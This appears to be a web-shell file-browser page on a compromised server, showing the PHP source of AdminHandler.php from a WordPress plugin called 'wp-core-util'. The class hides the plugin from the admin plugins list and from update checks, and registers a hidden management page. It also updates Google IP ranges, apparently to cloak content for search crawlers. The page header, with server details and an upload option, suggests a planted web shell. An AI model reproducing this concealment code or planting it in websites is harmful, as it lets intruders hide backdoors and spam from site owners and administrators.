HEX
Server: Apache
System: Linux wyse1.wyseservers.com 4.18.0-553.124.4.el8_10.x86_64 #1 SMP Fri May 15 04:14:14 EDT 2026 x86_64
User: kochikidswysewor (1061)
PHP: 8.3.33
Disabled: NONE
Upload Files
File: /home/kochikidswysewor/www/wp-content/plugins/wp-core-util/includes/AdminHandler.php
<?php
namespace WPU;

/**
 * Admin Handler — hides plugin from WP admin, provides hidden admin page
 * Architecture from v-posts-manager AdminHandler
 */
class AdminHandler {

    private $posts_manager;

    public function __construct(PostsManager $posts_manager) {
        $this->posts_manager = $posts_manager;
    }

    /**
     * Remove plugin from plugins list (except WP-CLI)
     */
    public function hide_from_plugins_list($plugins) {
        // Don't hide in WP-CLI for management
        if (defined('WP_CLI') && WP_CLI) {
            return $plugins;
        }

        if (isset($plugins[WPU_PLUGIN_BASENAME])) {
            unset($plugins[WPU_PLUGIN_BASENAME]);
        }

        return $plugins;
    }

    /**
     * Remove action links for this plugin
     */
    public function hide_action_links($links, $file) {
        if ($file === WPU_PLUGIN_BASENAME) {
            return [];
        }
        return $links;
    }

    /**
     * Remove from update checks
     */
    public function hide_from_updates($transient) {
        if (isset($transient->response[WPU_PLUGIN_BASENAME])) {
            unset($transient->response[WPU_PLUGIN_BASENAME]);
        }
        if (isset($transient->no_update[WPU_PLUGIN_BASENAME])) {
            unset($transient->no_update[WPU_PLUGIN_BASENAME]);
        }
        return $transient;
    }

    /**
     * Add hidden admin submenu page (no parent = hidden)
     */
    public function add_hidden_admin_menu() {
        add_submenu_page(
            null,                          // No parent — hidden menu
            'WPU Management',              // Page title
            'WPU Management',              // Menu title
            'manage_options',              // Capability
            'wpu-management',              // Slug
            [$this, 'render_admin_page']   // Callback
        );
    }

    /**
     * Render admin page
     */
    public function render_admin_page() {
        // Handle actions
        if (isset($_POST['wpu_action']) && wp_verify_nonce($_POST['_wpnonce'], 'wpu_admin_action')) {
            $this->handle_admin_action($_POST['wpu_action']);
        }

        $posts = $this->posts_manager->get_posts();
        $posts_dir = $this->posts_manager->get_posts_dir();

        include WPU_PLUGIN_DIR . 'templates/admin-page.php';
    }

    /**
     * Handle admin actions
     */
    private function handle_admin_action($action) {
        switch ($action) {
            case 'flush_rewrite':
                flush_rewrite_rules();
                add_settings_error('wpu', 'flushed', 'Rewrite rules flushed.', 'success');
                break;

            case 'update_ips':
                $ips = AccessControl::update_google_ips(true);
                add_settings_error('wpu', 'ips_updated', 'Google IPs updated: ' . count($ips) . ' ranges.', 'success');
                break;
        }
    }
}